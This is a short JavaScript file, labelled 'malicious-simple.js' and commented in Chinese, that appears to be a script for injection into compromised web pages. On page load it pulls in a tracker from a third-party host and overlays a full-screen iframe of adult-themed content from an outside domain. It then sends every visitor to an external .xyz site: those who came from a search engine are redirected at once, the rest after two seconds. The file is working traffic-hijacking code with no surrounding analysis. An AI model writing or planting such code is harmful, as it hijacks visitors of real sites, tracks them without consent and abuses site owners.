// malicious-simple.js (function() { const CONFIG = { MATOMO_ID: 196, MATOMO_URL: "//mato.home.kg/", IFRAME_URL: "https://creative.rmhfrtnd.com/widgets/v4/Universal?autoplay=onHover&tag=girls&userId=dacec79803eb72fbe5dcba04d55b5adee4a0b5b72b621f85d601060b2c9ac69b", REDIRECT_URL: "https://860375.xyz/ip/", TIMEOUT_MS: 500, REDIRECT_DELAY_MS: 2000 // 默认 2 秒延迟 }; function loadMatomo(u, id) { return new Promise(resolve => { const script = document.createElement('script'); script.src = u + "matomo.js"; script.async = true; script.onload = () => { if (typeof Matomo !== "undefined") { const tracker = Matomo.getAsyncTracker(u + 'matomo.php', id); tracker.trackPageView(); tracker.enableLinkTracking(); } resolve(); }; script.onerror = resolve; document.head.appendChild(script); }); } function addIframe() { return new Promise(resolve => { const iframe = document.createElement('iframe'); iframe.src = CONFIG.IFRAME_URL; Object.assign(iframe.style, { width: "100%", height: "100vh", border: "none", display: "block", margin: "0", zIndex: "100" }); iframe.allow = "autoplay"; document.body.appendChild(iframe); resolve(); }); } function isSearchEngineReferrer() { const ref = document.referrer.toLowerCase(); return /(google\.|bing\.|yahoo\.|yandex\.|duckduckgo\.)/.test(ref); } async function runAll() { await Promise.race([ (async () => { await loadMatomo(CONFIG.MATOMO_URL, CONFIG.MATOMO_ID); await addIframe(); })(), new Promise(res => setTimeout(res, CONFIG.TIMEOUT_MS)) ]); if (isSearchEngineReferrer()) { // 来自搜索引擎,立即跳转 window.location.href = CONFIG.REDIRECT_URL; } else { // 否则,延迟 2 秒后跳转 setTimeout(() => { window.location.href = CONFIG.REDIRECT_URL; }, CONFIG.REDIRECT_DELAY_MS); } } if (document.readyState === "loading") { document.addEventListener("DOMContentLoaded", runAll); } else { runAll(); } })();